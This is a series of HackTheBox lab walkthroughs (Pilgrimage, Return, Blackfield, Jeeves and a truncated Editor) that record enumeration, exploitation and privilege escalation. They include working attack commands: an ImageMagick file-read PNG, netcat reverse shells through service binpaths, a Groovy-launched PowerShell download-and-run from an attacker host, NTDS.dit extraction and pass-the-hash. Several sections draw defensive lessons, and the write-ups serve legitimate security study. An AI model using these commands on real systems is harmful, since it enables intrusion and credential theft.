• Port 22 (SSH)

• Port 80 (HTTP)

Since SSH is rarely useful without credentials, I focused on the web server.

During the scan, I noticed a redirect to pilgrimage.htb, so I added it to my /etc/hosts file.

Web Enumeration

I began with virtual host fuzzing to see if there were additional domains:

ffuf -u http://10.129.9.115 -H "Host: FUZZ.pilgrimage.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt

No additional domains were discovered, so I moved on to directory fuzzing:

ffuf -u http://pilgrimage.htb/FUZZ -w /usr/share/wordlists/elite.txt -fc 403

This revealed a key finding:

.git/

An exposed .git directory is always a strong signal that source code may be recoverable, which can completely change how you approach the box.

Application Analysis

Browsing the site, I found an image compression application. Since user-uploaded files were being processed on the server, this immediately stood out as a potential attack surface.

My first instinct was command injection. The logic is straightforward: if user input is passed into a system binary without proper sanitization, it can lead to remote command execution.

However, I ran into a few constraints:

• I could not control the filename being passed to the backend

• File uploads were filtered (PHP files were blocked)

• Changing extensions or embedding PHP code did not bypass the filter

At this point, it was clear that direct RCE through file upload was not the intended path, so I shifted focus.

3. Exploitation

Source Code Disclosure via .git

The exposed .git directory allowed me to reconstruct the full repository:

git-dumper http://pilgrimage.htb/.git src

This removed guesswork entirely. Instead of probing blindly, I could now see exactly how the application worked.

While reviewing the source, I found that uploaded images were processed using a binary called magick, part of ImageMagick.

LFI via ImageMagick (What’s Actually Happening)

ImageMagick processes images by parsing both the image data and any embedded metadata. One feature it supports is embedded profiles inside image files.

The vulnerability here comes from how those profiles are interpreted.

Using pngcrush, I created a malicious PNG:

pngcrush -text a "profile" "/etc/passwd" input.png output.png

Here’s what’s happening behind the scenes:

• The PNG includes a text chunk labeled profile

• Instead of treating this as harmless metadata, ImageMagick treats it as a file reference

• It attempts to open and read the file from disk

• The contents of that file are embedded into the processed output image

So when the application processes the image:

• /etc/passwd is read on the server

• Its contents are injected into the output

• That output is returned to me

This effectively gives me a file read primitive through the backend.

The key point here is that this is not a traditional LFI through a URL parameter—this is LFI through abusing how a backend library parses user-controlled input.

Why RFI Was Not an Option

At this point, a common instinct is to try Remote File Inclusion to get code execution.

That doesn’t apply here.

This vulnerability:

• Only reads local files

• Does not execute what it reads

• Does not support remote paths

Credential Extraction via LFI

Instead of chasing RCE, I shifted focus to what LFI is best at: reading sensitive data.

From reviewing the source code, I already knew the application used a SQLite database. That immediately became my target.

Using the same technique, I extracted the database file, rebuilt it locally, and dumped its contents:

xxd -r -p pil.db.hex > pil.db
sqlite3 pil.db
.dump

This revealed credentials for a valid user:

INSERT INTO users VALUES('emily','abigchonkyboi123');

Initial Access

With SSH open, I used the recovered credentials to log in as emily and gained a shell on the system.

4. Privilege Escalation

Binwalk Vulnerability

Inside Emily’s home directory, I found a reference to binwalk. Checking the version showed it was vulnerable to command execution.

Binwalk analyzes files by extracting embedded data and processing it. The issue is that it does not safely handle certain extracted content, which allows crafted files to trigger command execution.

However, running the exploit directly would only give me a shell as emily, so I needed to find where binwalk was being used with higher privileges.

Root Script Behavior

Using:

ps auxww

I discovered a root-owned process monitoring a directory:

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/

• The system watches for new files

• When a file is created, a script runs

• That script processes the file using binwalk

• The script runs as root

This creates a dangerous condition:

A privileged process is automatically handling user-controlled input.

Exploitation

1. Create a malicious file targeting the binwalk vulnerability

   

2. Place it in the monitored directory

   

3. Wait for the root script to process it

When the script triggered, it executed binwalk as root against my payload, resulting in a reverse shell.

5. Lessons Learned

1. LFI Is About Data First, Not Execution

One of the biggest takeaways from this box is that LFI is not always about getting code execution. In many cases, its real value comes from reading sensitive files such as databases, configuration files, or credentials. In this case, focusing on data extraction instead of forcing RCE led directly to a working foothold.

2. Source Code Changes Everything

Having access to the application’s source code through the exposed .git directory removed guesswork entirely. Instead of blindly testing inputs, I was able to understand how the application worked, identify backend components, and target specific files with purpose.

3. File Processing Is a High-Risk Attack Surface

Applications that process user-uploaded files introduce complex parsing behavior. Tools like ImageMagick are powerful but can interpret metadata in unexpected ways, which creates opportunities for vulnerabilities like this one. Any time files are being processed server-side, it should immediately raise attention.

4. Automation Combined with Privilege Is Dangerous

The privilege escalation in this box was not just about a vulnerable binary—it was about how that binary was being used. A root process was automatically executing binwalk on user-controlled input, which created a reliable path to escalation. Automation without proper safeguards is a serious risk.

5. Running Processes Often Reveal the Path Forward

The ps auxww output directly exposed the privilege escalation vector. Without checking running processes, it would have been much harder to identify how binwalk was being used. This reinforces how critical process enumeration is during privesc.

6. Defensive Insight

1. Do Not Expose .git Directories

Exposing a .git directory in production allows attackers to reconstruct the entire codebase, including sensitive logic and configuration details. This should always be blocked at the web server level.

2. Secure File Processing Pipelines

Any application that processes uploaded files must strictly validate and sanitize input. User-controlled data should never be passed directly into system-level tools without proper handling or isolation.

3. Patch Third-Party Dependencies

Both ImageMagick and binwalk had known vulnerabilities that were exploited in this box. Keeping dependencies updated is one of the simplest and most effective ways to prevent these types of attacks.

4. Restrict Access to Sensitive Files

Database files and other sensitive resources should not be readable by components that interact with user input. Proper file permission controls can significantly limit the impact of vulnerabilities like LFI.

5. Avoid Root-Level Automation on Untrusted Input

Automated processes running as root should never directly process user-controlled data. If automation is required, it should be isolated, validated, and run with the least privileges necessary.

7. Useful Commands

Virtual Host Fuzzing (Discover Subdomains)

ffuf -u http://10.129.9.115 -H "Host: FUZZ.pilgrimage.htb" -w 
/usr/share/seclists/Discovery/DNS/subdomains-t

Dump Exposed .git Repository

git-dumper http://pilgrimage.htb/.git src

Craft Malicious PNG for LFI (ImageMagick Abuse)

pngcrush -text a "profile" "/etc/passwd" input.png output.png

Reconstruct Extracted Database File

xxd -r -p pil.db.hex > pil.db

Read SQLite Database Contents

sqlite3 pil.db
.dump

Enumerate Running Processes

ps auxww

Machine Name: Return
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.95.241
Objective: Gain initial access and escalate privileges to SYSTEM within an Active Directory environment.

Return is a Windows Active Directory machine that, on the surface, exposes standard enterprise services like LDAP, SMB, and Kerberos. What made this box stand out to me is how realistic it felt—everything revolved around a misconfigured service and poor credential handling rather than some flashy exploit. It forced me to slow down, pay attention to details, and think through how services actually communicate.

Tools Used

• Nmap

• NetExec (nxc)

• rpcclient

• Kerbrute

• ffuf

• Burp Suite

• Netcat

• Evil-WinRM

2. Enumeration

Initial Enumeration

I started with an Nmap scan and immediately saw this was a typical Active Directory environment. LDAP (389), Kerberos (88), SMB (445), and a web server on port 80 were all exposed. The presence of an FQDN (return.local) confirmed domain functionality.

I added the domain to my /etc/hosts file to ensure proper resolution before continuing.

SMB Enumeration

I attempted anonymous SMB enumeration:

• Null authentication was allowed

• Share enumeration failed with STATUS_ACCESS_DENIED

This told me SMB was present but locked down properly—no easy wins here.

RPC Enumeration

Next, I tried anonymous RPC enumeration:

• Attempted enumdomusers

• Access was denied

Again, nothing exposed anonymously.

LDAP Enumeration

I attempted LDAP user enumeration:

• LDAP bind failed due to lack of authentication

• No anonymous access allowed

At this point, it was clear: no anonymous enumeration path was going to work on this box.

Web Enumeration

Since infrastructure enumeration was blocked, I shifted focus to the web server.

Running ffuf revealed several .php endpoints, indicating a dynamic web application.

When I visited the site, I found something interesting—a printer admin panel.

Inside the settings page, I noticed:

• Server Address

• Port (389)

• Username: svc-printer

• Password field (masked)

This immediately stood out. Service accounts exposed in web apps are always worth investigating.

Kerberos Enumeration

I used kerbrute to validate the username:

• svc-printer was confirmed as a valid domain user

I attempted AS-REP roasting, but it failed—so no luck there.

Potential Vulnerability Identified

At this point, the key observation was:

• The web app allows updating a server address

• It references LDAP (port 389)

• It uses a service account (svc-printer)

This strongly suggested the application might be attempting authentication against whatever server I supply.

3. Exploitation

Initial Foothold

I intercepted the request to /settings.php using Burp Suite and noticed something important:

• The POST request only contained a field for the server IP

My initial thought was to replace this with my attacking machine and catch a connection.

I first tried:

• Netcat listener on port 80 → no response

Then I corrected my mistake:

• The application explicitly referenced port 389 (LDAP)

So I switched my listener:

nc -nvlp 389

This time, I received a connection from the target.

Credential Capture

The application attempted to authenticate to my listener using:

• Username: svc-printer

• Password: plaintext

This was the foothold.

Key takeaway:
I was tunnel-visioned on HTTP, but the application logic was using LDAP. The port number was right in front of me the whole time.

User Access

With credentials in hand, I tested WinRM access:

• svc-printer had WinRM access → successful login via Evil-WinRM

I now had a shell as a domain user.

Post-Compromise Validation

I enumerated the domain:

• Only one other user: Administrator

This hinted that privilege escalation would likely be local rather than domain-based.

4. Privilege Escalation

Local Enumeration

I followed my Windows privilege escalation checklist:

• Checked for autologon credentials → none found

  

• Checked user directories → nothing useful

User Context Review

Running:

whoami /all

Revealed something critical:

• User is a member of Server Operators

This is a high-value group.

Privilege Escalation Path

Members of Server Operators can:

• Start/stop services

• Modify service configurations

• Execute binaries as SYSTEM

This is essentially a direct path to SYSTEM if abused correctly.

Exploitation via Services

I uploaded nc.exe to the target and modified the Volume Shadow Copy (VSS) service:

sc.exe config VSS binpath= "C:\ProgramData\nc.exe -e cmd 10.10.14.123 7777"
sc.exe start VSS

This triggered a reverse shell.

Shell Stability Issue

The initial shell was unstable.

Reason:

• Windows expects services to behave in a specific way

• If they don’t, they get terminated

Stable Shell Workaround

To fix this, I wrapped the payload in cmd.exe:

sc.exe config VSS binpath= "C:\Windows\System32\cmd.exe /c C:\ProgramData\nc.exe -e cmd 10.10.14.123 7777"

This worked because:

• The service starts cmd.exe (valid behavior)

• cmd.exe spawns netcat as a child process

• Even if the service dies, the shell persists

SYSTEM Access

After triggering the service again, I received a stable shell:

nt authority\system

Full compromise.

5. Lessons Learned

1. Avoid Tunnel Vision

I initially assumed everything would communicate over HTTP. That was wrong.

The application clearly showed port 389, and once I aligned my testing with that, everything worked.

2. Always Trust What the Application Tells You

The web interface literally gave me:

Protocol (LDAP) Port (389) Username (svc-printer)

That’s not decoration—that’s attack surface.

3. Server Operators = High Value

This group is extremely powerful.

If you see it, treat it the same way you would:

SeImpersonatePrivilege WriteDACL GenericAll

It’s basically a built-in privesc path.

4. Service Abuse is a Reliable Privesc Vector

Using sc.exe to modify services is:

Simple Reliable Extremely effective

This is something I’ll actively look for going forward.

5. Shell Stability Matters

Getting a shell is not enough.

Understanding why it dies and how to stabilize it is what separates a working exploit from a reliable one.

6. Defensive Insight

1. Never Store or Transmit Credentials in Plaintext

The printer service leaked credentials over LDAP without encryption.

This is a critical failure.

2. Restrict Service Account Permissions

The svc-printer account had:

• WinRM access

• Membership in Server Operators

That’s excessive privilege for a service account.

3. Secure Service Configuration Permissions

Allowing non-admin users to modify services is dangerous.

This is a direct escalation path.

4. Enforce LDAP Signing and Encryption

LDAP without signing allows credential interception.

This should always be enforced in production environments.

7. Useful Commands

Enumeration

nxc smb <target> -u '' -p '' --shares
rpcclient -U "" -N <target>
nxc ldap <target> --users
kerbrute userenum -d return.local users.txt

Exploitation

nc -nvlp 389

Privilege Escalation

whoami /all
sc.exe config <service> binpath= "<payload>"
sc.exe start <service>

Active Directory

evil-winrm -i <target> -u svc-printer -p <password>

Machine Name: Blackfield
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.229.17
Objective: Gain Domain Administrator access

Blackfield is definitely one of the best AD machines I’ve done so far. It’s all about chaining realistic misconfigurations together. Every step builds on the last.

Tools Used

• Nmap

• NetExec (NXC)

• Kerbrute

• Impacket

• John the Ripper

• RustHound-CE

• BloodHound

• pypykatz

• Evil-WinRM

• DiskShadow

• Robocopy

2. Enumeration

I kicked things off with an Nmap scan and immediately saw what I expected from a domain controller—LDAP, Kerberos, SMB, RPC, DNS. Nothing unusual, but everything I needed.

The scan also leaked the domain:

BLACKFIELD.local

First move—add that to /etc/hosts. Always.

Anonymous SMB Access

Next step was checking SMB:

I tested guest access and got in. That alone is already a foothold from an enumeration standpoint.

I was able to:

• List shares

• Read from at least one share (profiles$)

RID Brute

I tried normal user enumeration first (--users)—nothing.

So I pivoted to:

--rid-brute

This worked immediately.

Here’s the difference in plain terms:

• --users = asks nicely (requires permissions)

• --rid-brute = doesn’t care, brute-forces user IDs through RPC

Windows assigns every user a RID. If you know the domain SID, you can just iterate RIDs and ask:
“Hey, does this exist?”

That’s exactly what this module does—and it works as long as anonymous access is allowed even when proper enumeration is blocked.

This gave me:

• Domain users

• Groups

• Service accounts

At that point, I had a clean user list to work with.

Username Validation

Before doing anything else, I validated the users with Kerbrute.

Because:

• Kerberos will tell you if a username is real

• No password required

Now I knew I had valid domain accounts, not just guesses.

3. Exploitation

AS-REP Roasting

Whenever I have valid users and no passwords, I always try AS-REP roasting. Here’s what’s happening under the hood:

Normally, Kerberos requires pre-authentication—basically proof you know the password.

But if a user has:
UF_DONT_REQUIRE_PREAUTH

the domain will hand you an encrypted response without verifying who you are.

That’s a mistake. And it’s a big one.

I ran the attack with impackets GetNPUsers and got a hash back for one of the users.

Next I cracked it with John → got credentials for:

support

That’s my first real foothold.

Standard Post-Cred Checks

Once I had credentials, I followed the same routine I always do:

1. Password spraying → no reuse

2. Kerberoasting → nothing

3. SMB access → same as guest

4. WinRM → no access

So at this point with nothing obvious it was time to move on to bloodhound for further enumeration of potential attack vectors.

BloodHound (External Enumeration)

I ran BloodHound using RustHound (since NXC’s collector wasn’t behaving—likely LDAPS issues).

This was a good reminder:
don’t marry one tool.

ForceChangePassword Abuse

BloodHound showed something very interesting:

The support user had ForceChangePassword over:

audit2020

That’s game over for that user.

If you can change someone’s password, you are that user.

I used bloodyAD to reset it and immediately logged in as audit2020.

Forensic Share

The audit2020 user had access to a new share:

forensic

I spidered it and hit:

lsass.zip

LSASS Dump (Huge Learning Point)

Quick breakdown:

LSASS = Windows process that handles authentication

It stores:

• NTLM hashes

• Kerberos tickets

• Credentials in memory

So if you get a dump of LSASS, you’re basically looking at live credential material.

I downloaded it with smbclient, extracted it, and ran:

pypykatz

This tool parses memory dumps and pulls out usable creds.

Most of the hashes were dead, but one worked:

svc_backup

Lateral Movement

I tested the hash and it was valid. Next I Checked WinRM and saw the user had remote access privileges.

That’s immediate shell access. I checked the svc_backup users bloodhound abilities but there was nothing of note. Next i used evil-winrm to log in and see if there were anymore local priv esc vectors.

4. Privilege Escalation

SeBackupPrivilege

First thing I did in my winrm session as the svc_backup user was

whoami /all

and saw a goldmine privilege:

SeBackupPrivilege

This is one of those privileges you need to recognize instantly.

Why This Matters

This privilege lets you:

• Read ANY file on the system

• Ignore file permissions completely

That includes:

• NTDS.dit

• Registry hives

What is NTDS.dit?

This is the Active Directory database.

It contains:

• Every domain user

• Every password hash

• Everything that matters

But it’s encrypted.

To decrypt it, you also need:

• SYSTEM hive (contains boot key)

The Attack

What You’re Actually Trying to Do

At this stage, you already know:

• You have SeBackupPrivilege

• You want NTDS.dit + SYSTEM

• Goal = dump all domain hashes

But there’s a problem:

You cannot directly copy NTDS.dit while the system is running

Why?

• It’s locked by Active Directory (ntds service)

• Windows prevents direct access to in-use system files

So the real problem becomes:

“How do I get a readable copy of a locked file?”

The Solution: Volume Shadow Copy (VSS)

This is where DiskShadow comes in.

DiskShadow is a built-in Windows tool that interacts with:

Volume Shadow Copy Service (VSS)

What VSS Actually Does

VSS creates a snapshot of the filesystem at a point in time

Think of it like:

“Freeze the disk → clone it → let me read the clone”

So instead of touching the live NTDS.dit file, you:

• Create a snapshot

• Access the snapshot

• Copy the file from there

Now it’s no longer locked.

Why SeBackupPrivilege Makes This Work

Normally, even with a shadow copy:

• You’d still be blocked by permissions

But SeBackupPrivilege overrides file permissions

It basically says:

“I don’t care who owns this file—I can read it anyway”

That’s the key.

Without this privilege → attack fails
With it → full access to sensitive files

The Attack Flow

Step 1 — Create a DiskShadow Script

You don’t run DiskShadow manually—you feed it a script.

Example:

set context persistent nowriters
set metadata C:\Windows\Temp\meta.cab
set verbose on
add volume C: alias shadowcopy
create
expose %shadowcopy% E:

What Each Line Means (This is the important part)

• set context persistent nowriters

  → Creates a stable snapshot without involving writers (avoids interference)

• add volume C:

  → Targeting the main system drive

• create

  → Actually generates the shadow copy

• expose %shadowcopy% E:

  → Mounts the snapshot as a new drive (E:)

Step 2 — Run DiskShadow

diskshadow /s script.txt

After this runs:

👉 You now have a new drive (E:)

👉 That drive is a snapshot of the system

Step 3 — Copy the Files (Critical Step)

Now you copy from the snapshot, NOT the live system.

robocopy /b E:\Windows\NTDS C:\ProgramData\ ntds.dit

• /b = backup mode (uses SeBackupPrivilege)

Then:

reg save HKLM\SYSTEM C:\ProgramData\SYSTEM

Why These Two Files Matter Together

You need both:

1. NTDS.dit Contains encrypted domain credentials

2. SYSTEM hive Contains the boot key used to decrypt NTDS.dit

Simple Way to Think About It

• NTDS.dit = locked safe

• SYSTEM = key to open the safe

You need both or you get nothing.

Step 4 — Exfiltrate + Dump

Once you move both files to Kali:

impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

Now you get:

• All domain users

• NTLM hashes

• Including Administrator

Final Step — Domain Takeover

You don’t even need passwords anymore.

Just pass the hash with psexec or wmiexec.

impacket-wmiexec administrator@<ip> -hashes <hash>

5. Lessons Learned

1. RID Brute is a fallback you should always remember
When normal enumeration fails, this still works more often than not.

2. AS-REP roasting is mandatory to check
It’s low effort, high reward. No reason to skip it.

3. LSASS dumps are extremely valuable
This was a big one for me—understanding how to extract creds from memory opens a lot of doors.

4. BloodHound isn’t optional in AD
You’re not guessing paths—you’re identifying them.

5. SeBackupPrivilege is dangerous
This alone can lead to full domain compromise. If you see it, you should already be thinking NTDS.

6. Defensive Insight

1. Disable accounts without pre-authentication
AS-REP roasting should not be possible in a secure environment.

2. Remove unnecessary ACLs (like ForceChangePassword)
This is how attackers pivot laterally without exploits.

3. Lock down sensitive shares
There is no reason an LSASS dump should be accessible over SMB.

4. Monitor privileged accounts
Accounts with SeBackupPrivilege should be heavily restricted and audited.

5. Restrict anonymous access
Even limited SMB access can expose the entire domain structure.

7. Useful Commands

Nmap Scan

nmap -sC -sV 10.129.229.17

Enumerate SMB Shares Anonymously

nxc smb 10.129.229.17 -u guest -p '' --shares

Enumerate Users with RID Brute

nxc smb 10.129.229.17 -u guest -p '' --rid-brute

Validate Usernames with Kerbrute

kerbrute userenum --dc 10.129.229.17 -d blackfield.local users.txt

AS-REP Roast Valid Users

impacket-GetNPUsers blackfield.local/ -dc-ip 10.129.229.17 -usersfile users.txt -no-pass

Crack the AS-REP Hash with John

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

NXC - Check SMB Access

nxc smb 10.129.229.17 -u support -p '<password>' --shares

NXC - Spray the Discovered Password Against Other Users

nxc smb 10.129.229.17 -u users.txt -p '<password>' --continue-on-success

impacket - Attempt Kerberoasting

impacket-GetUserSPNs blackfield.local/support:'<password>' -dc-ip 10.129.229.17 -request

Collect BloodHound Data with RustHound

rusthound-ce -d blackfield.local -u support -p '<password>' -c All -o blackfield.zip

BloodyAD Change Password

bloodyAD -d blackfield.local -u support -p '<password>' set password audit2020 '<NEW_PASSWORD>'

NXC - Spider Shares

nxc smb 10.129.229.17 -u audit2020 -p '<NEW_PASSWORD>' -M spider_plus -o EXCLUDE_FILTER='NETLOGON,SYSVOL,IPC\(,print\),C\(,ADMIN\)'

pypykatz- Extract Credentials from the LSASS Dump

pypykatz lsa minidump lsass.DMP

Execute DiskShadow

diskshadow /s C:\Windows\Temp\diskshadow.txt

Copy ntds.dit from the Shadow Copy

robocopy /b z:\Windows\NTDS C:\Windows\Temp ntds.dit

Save the SYSTEM Hive

reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM

Machine Name: Jeeves
Platform: HackTheBox
Operating System: Windows
Target IP: 10.129.11.223

Objective: Obtain initial access to the target system, escalate privileges to Administrator.

Jeeves was an instructive Windows box that tied together several practical ideas in a clean way. My biggest takeaway from this machine was learning how dangerous Groovy-based code execution can be when Jenkins is exposed.

Tools Used

• RustScan

• Nmap

• NetExec (nxc)

• FFUF

• Jenkins Script Console

• Groovy

• PowerShell

• Netcat

• KeePassXC

• keepass2john

• John the Ripper

• Impacket (psexec)

2. Enumeration

Port Scanning

As usual, I started with a scan to identify the exposed services and get a feel for the attack surface before choosing where to focus.

The scan showed four open ports:

• 80/tcp – HTTP (Microsoft IIS 10.0)

• 135/tcp – MSRPC

• 445/tcp – SMB

• 50000/tcp – HTTP (Jetty 9.4.z-SNAPSHOT)

Right away, a few things stood out. The presence of RPC and SMB told me I was dealing with a normal Windows host, so I already had my usual Windows enumeration process in mind. From past experience, I know Jetty is commonly associated with Java-based applications, so I was already thinking ahead that this might lead to technologies like Jenkins, Groovy, or something similar.

SMB Enumeration

The first service I chose to inspect was SMB.

Since port 445 was exposed, I started by checking whether I could get anything useful through anonymous access. This is always worth testing early because sometimes you get lucky with readable shares, loose permissions, or quick information disclosure before ever touching the web application.

In this case, anonymous access was denied:

• STATUS_ACCESS_DENIED

Share enumeration also failed, so there was no immediate foothold through SMB and nothing useful to pull from it at that stage.

Web Enumeration

Port 80 (IIS)

After SMB went nowhere, I moved on to the web application running on port 80. I like pairing manual inspection with directory fuzzing, so I opened the site in my browser while running ffuf in the background.

The page looked like some kind of Ask Jeeves-style search engine, which immediately made it worth interacting with because any search bar or input field is something I want to test directly. The first thing I did was type a simple test value into the search bar and submit it.

Instead of actually processing the request, the application immediately redirected me to an error page:

• error.html

That behavior told me something important very quickly. It did not look like the server was actually taking my search term, handling it dynamically, and returning a real result. It looked more like the search feature was either broken, fake, or just redirecting all interaction to a static page.

I looked more closely at the URL and the way the page behaved. Since it appeared to be referencing a file on the server, I decided it was worth trying a few LFI-style payloads to see if I could abuse the file reference in some way. That turned out to be a dead end because user input seemed to be sanitized properly.

Meanwhile, ffuf did not return anything useful beyond what I had already seen. There were no additional endpoints, no hidden functionality, nothing useful in the page source, and no real behavior that suggested the application had meaningful server-side processing behind it.

At that point, I concluded that port 80 was effectively a dead end.

Additional Web Enumeration

Port 50000 (Jetty)

With SMB giving me nothing and port 80 looking like a decoy or broken feature, I shifted my attention to the service on port 50000.

When I browsed to the port directly, I was met with a very plain 404 Not Found page from Jetty.

There was nothing directly useful in the content itself, but that kind of response is often a good sign because it tells me the service is alive and reachable—I just do not yet know the correct path.

So I ran ffuf against port 50000 as well.

This time, the fuzzing paid off. I discovered:

• /askjeeves

When I navigated to that endpoint, I found a Jenkins instance. The version was disclosed at the bottom of the page, which immediately made the service far more interesting.

I already knew Jenkins often exposes administrative functionality that can become extremely dangerous if access controls are weak or the version is old enough to be abused.

Potential Vulnerability Identification

I knew from past experience, older or improperly exposed Jenkins instances are often vulnerable to remote code execution through running Groovy code in the script console. Since Jetty had already tipped me off that I was likely dealing with a Java-based stack, the Jenkins discovery fit perfectly with that earlier assumption.

At that point, my thinking was simple:

• If the Script Console is accessible

• And Groovy execution is allowed

• Then I likely have direct code execution on the server

That was strong enough to move from enumeration into exploitation.

3. Exploitation

Initial Access

After identifying Jenkins, I navigated to the Script Console and tested whether I could run commands through Groovy.

To keep it simple, I started with a basic whoami command:

println "whoami".execute().text

The result confirmed that code execution worked and that commands were running as:

• kohsuke

That was the confirmation I needed. At that point, I had real remote code execution, not just a theory.

This was also the point where the main theme of the box became clear to me. More than anything else, Jeeves taught me how powerful Groovy RCE can be when Jenkins is exposed and unpatched. Once you have that level of access, initial compromise becomes very straightforward.

Shell Stabilization

After confirming command execution, the next step was to convert that into a real shell.

My plan was to host a PowerShell reverse shell on my attacker machine and then use Groovy to execute a PowerShell command that would download and run it. The logic was simple enough, but the trickiest part was getting the quoting right. When you have Groovy calling PowerShell and PowerShell calling out over HTTP, nested quotation marks become the annoying part of the job.

I hosted my PowerShell reverse shell script on my local web server, started a Netcat listener, and then worked through the escaping until the payload executed correctly.

Once I got the command formatted properly, I received a shell back as:

• kohsuke

That gave me the foothold I needed to start local enumeration.

4. Privilege Escalation

Current User Context

The first thing I always want to confirm after getting a shell is exactly who I am and what kind of environment I landed in.

whoami

• kohsuke

User Enumeration

Next, I enumerated the users on the box to understand whether I might need to pivot between accounts or whether this would likely be a straight vertical escalation path.

net user

There were only two users of note:

• kohsuke

• Administrator

That simplified things a lot. With only one obvious lower-privileged user and one administrative account, this did not look like a machine where I would need to chain multiple account compromises together.

Autologon Credential Check

One of the quick Windows checks I like to do early is the autologon registry check, since it sometimes gives you credentials for free if the machine is configured carelessly.

Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

There were no useful autologon credentials present.

Home Directory Review

At that point, I shifted to one of the most reliable habits in Windows privilege escalation: thoroughly reviewing the current user’s home directory and looking for anything that does not belong, anything credential-related, or anything that might indicate how the user manages secrets.

tree /F /A

What immediately stood out was:

• CEH.kdbx

That was a huge find.

A .kdbx file is a KeePass database, which means it potentially contains stored credentials, notes, hashes, or other sensitive data. When I see one of those during privesc, it immediately moves to the top of the list because it often leads directly to password reuse or administrative secrets.

File Transfer via SMB

Now that I had identified the KeePass database, I needed to get it onto my attacker machine so I could work on it locally with the right tools.

copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.123\zion

Even though SMB had been useless earlier for enumeration, it was perfect here as a file transfer mechanism.

Credential Extraction

On my attacker machine:

keepass2john CEH.kdbx > hash.txt
john hash.txt

Recovered password:

After opening the database, I found stored entries including an NTLM hash, which pointed directly to a clean escalation path.

Privilege Escalation Path

Instead of cracking further, I used a Pass-the-Hash attack.

impacket-psexec administrator@10.129.11.223 -hashes :e0fb1fb85756c24235ff238cbe81fe00

The command returned a shell as:

nt authority\system

Full compromise achieved.

5. Lessons Learned

1. Recognizing a Technology Stack Early Saves Time

Seeing Jetty on port 50000 immediately narrowed my focus toward Java-based applications like Jenkins, which sped up the entire process.

2. Dead Ends Need to Be Identified Quickly

Port 80 looked promising at first, but once I confirmed it was just redirecting to a static error page, there was no reason to keep forcing it.

3. Jenkins Script Console is Extremely Dangerous

Groovy RCE through Jenkins is essentially direct command execution. If it's exposed, the box is already compromised.

4. User Files Can Be the Entire PrivEsc Path

The KeePass database was the key to privilege escalation. Careful file enumeration made the difference.

5. SMB is a Practical Tool, Not Just an Attack Vector

Even though SMB did not help initially, it became critical for file exfiltration later.

6. Defensive Insight

1. Jenkins Should Never Be Exposed Publicly

The Script Console alone is enough to fully compromise a system if accessible.

2. Keep Systems Patched

Outdated Jenkins versions introduce unnecessary risk.

3. Protect Credential Stores

Sensitive files like KeePass databases should not be left in user directories.

4. Limit NTLM Usage

Pass-the-Hash attacks remain effective because NTLM is still widely enabled.

5. Monitor File Transfer Channels

Even non-exploitable services like SMB can be abused for data exfiltration.

7. Useful Commands

Reconnaissance

rustscan -a 10.129.11.223 -b 7000
nmap -sC -sV -p- 10.129.11.223

Enumeration

nxc smb 10.129.11.223 -u '' -p '' --shares
ffuf -u http://10.129.11.223/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://10.129.11.223:50000/FUZZ -w /usr/share/wordlists/dirb/common.txt

Groovy powershell Reverse Shell

println 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(\'http://10.10.14.123/shell.ps1\')"'.execute().text

Privilege Escalation

whoami
net user
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
tree /F /A
copy C:\Users\kohsuke\Documents\CEH.kdbx \\10.10.14.123\zion

keepass2john CEH.kdbx > hash.txt
john --show hash.txt
impacket-psexec administrator@10.129.11.223 -hashes :e0fb1fb85756c24235ff238cbe81fe00

• Machine Name: Editor

• Platform: HackTheBox

• Operating System: Linux

• Target IP: 10.129.231.23

• Objective: Gain user and root access

Editor ended up being one of the more instructive Linux machines I have done so far because it did not depend on one lucky guess or one overly specific trick. Instead, it rewarded steady enumeration and good decision-making.

Tools Used

• Nmap - Initial service enumeration

• ffuf - Virtual host and directory discovery

• Burp Suite - Request inspection and payload manipulation

• Searchsploit - Local vulnerability research

• Metasploit - Initial exploit testing

• Browser Developer Tools / Manual Browsing - Application inspection

• SSH - User access and local port forwarding

• curl - Payload staging

• Netcat - Reverse shell handling

• GCC - Compiling the C payload for privilege escalation

2. Enumeration

As usual, I started with an Nmap scan to identify what was exposed and begin forming an idea of where the likely entry point would be.

nmap -sC -sV -oN nmap.txt 10.129.231.23

The scan showed three open ports:

• 22/tcp - SSH - OpenSSH 8.9p1

• 80/tcp - HTTP - Nginx 1.18.0

• 8080/tcp - HTTP - Jetty 10.0.20

That is a pretty small attack surface. When I see only SSH and a couple of web services, my first assumption is usually that the initial foothold will come through the web application rather than SSH. SSH is still important, but unless I already have credentials, it is usually more of a post-exploitation service than the true entry point.

The fact that there were two web services also mattered. Port 80 and port 8080 were not just duplicates of each other. They were backed by different web servers, which immediately suggested they might be serving different content or different components of the same application stack. That gave me a clear direction: inspect both carefully and determine how they relate to each other.

Initial Web Recon on Port 80

When I browsed to port 80, one of the first things I noticed was that the server redirected me to:

editor.htb

That told me right away that name-based routing was likely involved, so I added the hostname to my /etc/hosts file.

That redirect was important for two reasons. First, it confirmed that I should be working with the hostname rather than only the IP. Second, anytime I see one custom hostname on an HTB target, I start thinking about additional virtual hosts. If the application already depends on one named host, there is a decent chance there are others.

ffuf -u http://10.129.231.23 -H "Host: FUZZ.editor.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -fw 4

That returned:

wiki.editor.htb

I added that to my hosts file as well:

That was a meaningful result because it immediately expanded the target from “one simple site” to “a main site plus a wiki or documentation component.” A separate wiki subdomain often means a separate application stack, and separate application stacks often mean separate vulnerabilities.

Inspecting the Main Site

Before fully pivoting, I still spent some time looking at the main application at editor.htb to see whether there was anything obvious.

The site looked like a marketing or landing page for a code editing product.

It did not expose much in the way of user interaction. There were no login forms, no search boxes, no file upload features, and no obvious places where I could start testing user-controlled input. When I am assessing a web application, I am always trying to identify where data is being accepted and processed. Static pages are still worth checking, but if there is no meaningful functionality, the odds of wins are lower.

